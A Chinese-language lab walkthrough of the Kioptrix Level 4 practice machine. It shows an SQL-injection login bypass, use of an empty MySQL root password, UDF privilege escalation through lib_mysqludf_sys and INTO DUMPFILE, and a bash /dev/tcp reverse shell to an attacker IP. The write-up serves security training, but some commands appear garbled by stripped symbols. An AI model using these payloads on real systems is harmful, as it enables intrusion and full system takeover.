ARTICLE DETAIL

资讯详情

深耕商务建站与企业官网运营的一线实战洞察。

Kioptrix Level 4渗透测试实战:从SQL注入到UDF提权全记录

Kioptrix Level 4渗透测试实战:从SQL注入到UDF提权全记录 经常有新人问我练渗透测试到底该从哪里入手我每次都会提到一个老靶机系列——Kioptrix。它不像现在那些动不动就上容器逃逸、域渗透的靶场那么烧脑但对打基础来说含金量极高。尤其到了Level 4难度开始从“纯考点集合”向“真实环境模拟”过渡没有花哨的攻击链却非常考验信息收集的完整度和对系统底层机制的理解程度。这台靶机我前后打过好几遍每次重打都会发现一些之前遗漏的细节。这次专门把完整过程梳理出来从网络探测到最终拿root每一步都附上当时的思考过程和我踩过的坑。如果你正在刷VulnHub的初级到中级过渡题这篇文章应该能帮你省下不少绕弯子的时间。1. 靶机背景与整体思路拆解1.1 这是个什么靶机Kioptrix Level 4是VulnHub上一个很经典的老牌渗透训练靶机作者是Kioptrix系列的老玩家都不陌生的那位。整个系列一共五台Level 4排在第四难度定位大概在“中等偏下”到“中等”之间。和前三台相比它保留了老系统常见的攻击面但不再那么简单粗暴——不是随便扫到个漏洞直接打就完事了中间会卡你几下逼着你去读源码、猜路径、翻日志。靶机本身运行的是老版本Linux发行版具体是CentOS还是别的你扫描之后就能看出来。系统里预装了一些自带漏洞的软件核心考点集中在Web应用层面和一个非常经典的本地提权手法上。整台机器打通下来你需要的知识栈包括nmap扫描、目录爆破、源码审计、MySQL数据库操作、SQL注入手法、以及一个已经快被写烂但依然值得亲手做一遍的UDF提权。1.2 打这台靶机能练什么如果说Level 1练的是“扫到开放端口就找对应漏洞直接打”那Level 4练的则是“如何在多个攻击面中筛选出真正能走通的那条路”。这台靶机上你至少会遇到这些情况开放端口不止一个但直接打过去会发现很多都不通网站源码里藏着重要线索但你不一定第一眼就能看出来数据库能连上但能不能利用成功取决于你懂不懂MySQL的机制提权手法很经典但卡住的人也不少所以这台靶机真正的价值不在于它有多难而在于它逼着你建立一套“假设-验证-调整”的打靶方法论。你在真题、实战里遇到的大部分情况其实也都是这个流程。1.3 常规的解题流程我习惯把整套流程拆成五个阶段网络发现确定靶机IP摸清开放的端口和服务Web信息收集访问站点扫描目录读源码找逻辑漏洞Web应用攻击找到可疑入口尝试注入内网横向利用数据库或WebShell获取系统普通用户权限或直接获得命令执行能力本地提权收集系统信息利用内核或服务配置漏洞提权到root这个流程从头到尾走完差不多就是一次真实的渗透测试项目缩影。下面我按照这个顺序把每一步的实际操作和思考过程写出来。2. 信息收集阶段的关键操作2.1 定位靶机IP靶机用虚拟机装好之后第一步永远是确认它在这个网络里的地址。我的环境用的是VMware攻击机和靶机都挂在同一个NAT网段下。最方便的方式是直接查看DHCP租约列表或者你干脆用nmap扫描整个网段靠开放的端口特征判断哪台是靶机。如果你的攻击机是Kali通常靶机会分配到一个形如192.168.x.x的地址。我打的时候靶机IP是192.168.1.115下面所有操作都基于这个地址展开老规矩先说清楚免得你照抄命令的时候对不上号。2.2 端口扫描与服务识别拿到IP之后先用nmap做一个全端口扫描。这一步不要偷懒只扫常用端口靶机有时候会把服务放在高位端口上。我用的命令是nmap -sS -sV -Pn -p- -T4 192.168.1.115参数说明一下-sSTCP SYN半开扫描速度快-sV识别服务版本这一步很重要-Pn因为靶机可能禁ping直接用这个参数跳过主机发现-p-全端口扫描注意这个参数扫得慢但值得等-T4加速扫描扫描结果会看到几个端口是开放的具体到不同版本可能略有差异但核心服务基本逃不出这几个SSH、HTTP、MySQL这几个大概率都是在的。这里有一个点我要单独拎出来说端口扫描只是第一步服务版本信息才是后续利用的关键。比如你扫出来HTTP服务那接下来就要看它是什么软件、什么版本、有没有已知漏洞扫出来MySQL那你就要想这个版本能不能匿名登录、能不能UDF提权。很多人打靶机卡住不是技术不行是第一步信息收集就没做完整。2.3 目录枚举与源码线索发现端口扫描完成之后我习惯先去看Web服务。浏览器打开http://192.168.1.115你会看到一个默认的Web页面非常朴素看不出有什么明显功能。这时候就需要做目录枚举了。常见的工具是dirb、dirsearch或者gobuster。我个人还是更喜欢dirb老而弥坚字典也够用。命令大概这样dirb http://192.168.1.115 /usr/share/wordlists/dirb/common.txt跑完之后会吐出一堆路径有些返回403有些返回200。我当时的经验是重点关注返回200但看起来非常不起眼的路径尤其是一些带旧版本号特征的目录。这台靶机的关键线索就在源码里。你把站点根目录的HTML源码拉下来看会发现里面有一个注释指向一个旧版管理后台的路径。打靶的时候养成看源码的习惯永远不亏。现在很多网站的信息泄露就是从小小的注释开始的。顺着这个路径访问过去你会看到一个登录框或者一个看起来非常古早的管理页面。这个页面从视觉上就能告诉你这玩意儿八成是老版本CMS或者老论坛程序。接下来就是考验你“认版本”能力的时候了。3. Web漏洞利用与MySQL入口3.1 识别CMS与已知漏洞看到那个管理后台页面之后先别急着登录。退出页面看URL结构、页面底部的版权声明、或者HTML里的generator meta标签这些位置经常会暴露CMS的程序名称和版本号。我记得当时识别出来的是一个已经很老的内容管理系统。老版本最大的特点就是有公开的漏洞库记录。你用searchsploit搜一下对应版本能找到好几个利用脚本。但这里我不建议盲目直接上exploit脚本因为很多老脚本在现在的环境里跑不起来你还需要适配、调试反而浪费时间。我当时是走了一条更“手工”的路注意到这个CMS后台的登录逻辑里存在SQL注入点。这类老程序在登录处拼接SQL语句是常规操作现在当然很少见了但在靶机里考的就是你能不能抓住这种机会。3.2 手工SQL注入绕过登录如果你尝试用万能密码或者简单的admin/admin这类弱口令登录大概率会失败。这个时候可以把请求抓下来看一下逻辑。使用Burp Suite拦截登录请求你会看到一个POST请求把用户名和密码字段发给服务器。把密码字段改成一段闭合的单引号观察返回结果是否有变化。经典的万能密码形式 or 11 --这种在正确闭合的情况下可以绕过登录判断。这里有一个经常被新人忽略的细节目标系统如果是PHPMySQL的组合注释符要用--注意后面有个空格或者#否则闭合不掉后面的引号。我当年栽过这个跟头盲试了很久不成功就是因为编码问题把那两个短横线后面的空格吃掉了。用SQL注入绕过登录之后你就进入后台了。后台可能会暴露一些数据库连接信息、服务器配置信息也可能在后台页面里直接有执行SQL查询的入口。我当时是看到后台提供了一个可以执行SQL语句的模块也就是说你现在已经有了数据库交互能力。3.3 获取数据库配置与连接信息进入后台之后有一个东西一定要重点找数据库配置文件。这套老CMS的配置文件名一般来说很固定例如config.php或db.php这种命名规律。虽然你在浏览器上看不见这些文件内容但如果通过某个功能点能读到服务器文件内容比如备份功能或者编辑器漏洞你就能直接拿到数据库的账号密码。另外一个思路是既然后台能执行SQL直接查询mysql.user表看有哪些用户可以远程登录。或者直接搜索CMS的配置表里面通常存了完整的数据库名和账号。我在实际操作中发现这台靶机的数据库root账号密码是空的或者非常简单而且MySQL服务允许root用户从任意主机登录。这意味着什么意味着你可以从攻击机上直接用MySQL客户端连过去。这是一个非常典型的配置漏洞开发人员装完MySQL后没改root密码也没做主机访问限制。3.4 连接MySQL并确认权限确认数据库能连接之后命令行敲mysql -h 192.168.1.115 -u root -p密码直接按回车因为空密码。如果能顺利连上你已经成功了一大半。连上之后老规矩select version(); select user(); select hostname;这三个语句分别是看数据库版本、当前登录用户、主机名。拿到版本号之后你要做一件事看这个MySQL版本支不支持UDF提权。UDF是用户定义函数的缩写全称User Defined Function。简单说MySQL允许你写一个动态链接库.so文件里面定义自己的函数然后在SQL语句里直接调用这个函数。如果这个函数内部执行了系统命令那你就相当于在数据库服务器上获得了命令执行能力。UDF提权在MySQL中通常用于本地提权前提是你已经拿到了一个能登录MySQL的账号且具有写入plugin目录的权限。确认版本之后下一步就是准备UDF利用。4. UDF提权全流程实操4.1 UDF提权的原理与适用条件先把原理说透。MySQL扩展UDF功能本质上就是允许用户自定义函数这些函数以编译好的动态库形式存放在指定的plugin目录里然后通过CREATE FUNCTION语句注册到数据库中。攻击者要做的事情三步把一个编译好的UDF动态库上传到MySQL的plugin目录用SQL语句注册这个动态库里的函数调用函数执行系统命令获得一个高权限Shell适用条件有几个缺一不可有权限连接MySQL有权限向MySQL的plugin目录写入文件通常需要root权限或FILE权限MySQL服务以高权限运行默认root这就是为什么我前面强调要确认数据库版本和当前用户权限。如果user()显示的是rootlocalhost那就说明条件基本满足值得往下试。4.2 确认plugin目录UDF动态库要写入的目录叫plugin目录。不同版本的MySQL默认plugin目录不一样。你可以用SQL语句直接查show variables like plugin_dir;也可以查plugin_dirselect plugin_dir;我当时的输出显示是在/usr/lib64/mysql/plugin这个路径。记住这个路径后面上传文件要用。这里有个坑如果你的MySQL是5.1版本以上的plugin目录是默认存在且固定路径的但如果是老版本5.0甚至更早plugin目录可能需要你自己创建。具体看这台靶机情况我当时查到的版本是5.x目录是现成的。4.3 编译或获取UDF动态库这一步是卡住最多人的地方。网上很多教程让你直接用现成的lib_mysqludf_sys.so但如果你用的攻击机Kali和靶机的操作系统架构、glibc版本不一致直接传上去大概率加载失败。我当时的做法是直接在Kali上编译一个干净的UDF动态库。你需要下载UDF的源码然后在Kali上执行编译git clone https://github.com/mysqludf/lib_mysqludf_sys.git cd lib_mysqludf_sys编译之前确认你的Kali装了gcc和mysql相关头文件。我用的是apt install gcc libmysqlclient-dev然后编译gcc -shared -fPIC -o lib_mysqludf_sys.so lib_mysqludf_sys.c -I/usr/include/mysql -L/usr/lib/mysql -lmysqlclient编译完成后你会得到一个lib_mysqludf_sys.so文件。这个文件里面定义了一个关键函数叫sys_exec作用就是执行系统命令。提示如果编译环境不匹配最稳妥的办法是找一台和靶机相同操作系统、相同架构的虚拟机在上面编译。很多人UDF提权失败查到最后都是因为动态库格式错误服务加载的时候直接报cannot open shared object file。这个我倒是在后面给你列了排查表。4.4 通过MySQL上传动态库动态库文件现在在你的攻击机本地你要做的事情是把它以十六进制文本的形式写入MySQL数据库然后通过MySQL的SELECT ... INTO DUMPFILE语句导出到plugin目录。整体流程是这样的先在本地把UDF动态库文件转换成十六进制文本。我用的命令xxd -p lib_mysqludf_sys.so | tr -d \n udf_hex.txt然后用Python把十六进制文本拼接成一条超长的SQL语句。这一步用脚本生成比较简单手写不现实。我当时用的思路是先连接MySQL把十六进制文本存入一个临时表然后再导出。用到SQL大概是这个样子简化描述create table temp(data longblob); insert into temp(data) values (0xHEXSTRING); select data from temp into dumpfile /usr/lib64/mysql/plugin/lib_mysqludf_sys.so;这个dumpfile和outfile的区别你要注意dumpfile不会对文件做任何转义处理适合写入二进制文件outfile会写入字段值并且会换行适合导出文本。写动态库用dumpfile别用outfile否则文件损坏。4.5 注册函数并执行命令动态库放进去之后接下来就是注册函数create function sys_exec returns string soname lib_mysqludf_sys.so;没有报错的话就可以直接调用select sys_exec(id /tmp/udf_test.txt);然后去靶机上看/tmp/udf_test.txt的内容如果是uid0(root)那就说明命令执行成功并且已经是root权限了。到这一步你已经通过数据库拿到了一个root身份的命令执行环境。接下来就是把命令执行的权限变成一个真正可交互的Shell这里通常用反弹Shell。在SQL里直接调用sys_exec执行bash反弹命令即可只是要注意命令里的特殊字符转义问题。我在当时的反弹命令大概是这样的思路先用sys_exec执行一条带/bin/bash -i /dev/tcp/攻击机IP/端口 01的sh命令。这里要注意把重定向符号做处理因为MySQL会用反引号执行系统命令容易出歧义。通常我会先用sys_exec把一条shell脚本写到靶机/tmp目录然后再执行这个脚本能省去很多转义方面的麻烦。4.6 拿到root Shell后的信息收集拿到root Shell以后这台靶机在技术层面上就算打通了。但我建议你多留一步收集系统信息把整个攻击流程补充完整。我一般会看这么几个地方cat /etc/passwd uname -a cat /root/flag.txt这台靶机有没有旗标文件是次要的更重要的是你可以借此机会看一下靶机系统里装了哪些东西、有没有其他用户、开场时的系统版本信息是什么。这些东西能帮你反推如果这是一台真实的生产服务器当初是怎么被人搞进来的。5. 踩坑记录与问题排查5.1 UDF文件加载失败这是UDF提权里最常见的问题。你执行create function的时候数据库直接报错Cant open shared library lib_mysqludf_sys.so。原因基本就两个文件路径不对plugin目录里的文件名和你create function ... soname后面写的名字不完全一致动态库格式不兼容32位和64位不匹配或者glibc版本不对排查方法show variables like plugin_dir;确认目录之后用ls -la检查文件是否存在再通过file命令检查动态库架构格式。5.2 命令执行却看不到输出有时候sys_exec执行了但你不知道它有没有成功。别慌把你执行的命令结果重定向到一个文件然后用load_file()函数读取select load_file(/tmp/udf_test.txt);这个技巧特别好用相当于给MySQL装了一个文件读取功能。5.3 数据库连接不上如果靶机MySQL端口是开放的但你从攻击机连不上常见情况MySQL授权表只允许localhost登录防火墙拦了3306端口端口扫描阶段没扫出来实际是换了端口这种情况下你得回到Web后台的SQL执行能力直接用本地的SQL语句操作数据库或者在后台的功能模块里找线索看看是否另有出路。5.4 目录扫描结果太多看不过来第一次扫目录的时候垃圾结果会淹没真正的线索。我的建议是不要只靠工具自动跑一定要结合源码审计。先把首页HTML源码打开看重点找a标签和注释再把扫描出的可疑目录挨个用浏览器打开看页面内容和响应头最后按照系统指纹去搜已知漏洞。三者结合比单纯跑字典高效得多。5.5 快速排查速查表问题现象可能原因解决方法MySQL连接被拒账号权限限制或远程访问未开启检查授权表或找到本地SQL入口create function报错plugin路径不对或.so格式不兼容查plugin_dir检查file输出sys_exec无反应函数注册失败或命令写法有误重定向输出到文件后load_file验证Web后台登录不了注入语句闭合不正确尝试 or 11 --、#注释符反弹Shell半天不回来命令转义问题或网络不通先写脚本再执行或用curl外带验证6. 写在最后的题外话Kioptrix Level 4整个过程走下来耗时最多的地方几乎都在“确认环境”和“适配利用代码”这两件事上。这台靶机的核心考点并不难难的是你有没有耐心在报错之后去查原因而不是换了工具继续盲试。我个人的经验是打靶机不要以“打通”为唯一目标每台靶机至少要打两遍。第一遍正常打第二遍刻意不用现有的exp脚本全部走手工流程——手工注入、手工编译UDF、手工反弹Shell。这样练过之后你在真实环境里遇到类似场景哪怕工具全失灵心里也有一套完整的替代方案。如果你正准备挑战Kioptrix系列的后续关卡或者开始接触其他更复杂的靶场请记住我在前面反复强调的那个习惯先读源码、再查版本、最后才选利用方式。大多数攻不进去的案例复盘到最后都是信息收集没做足。
返回列表
PREV
查看更多资讯
NEXT
返回资讯列表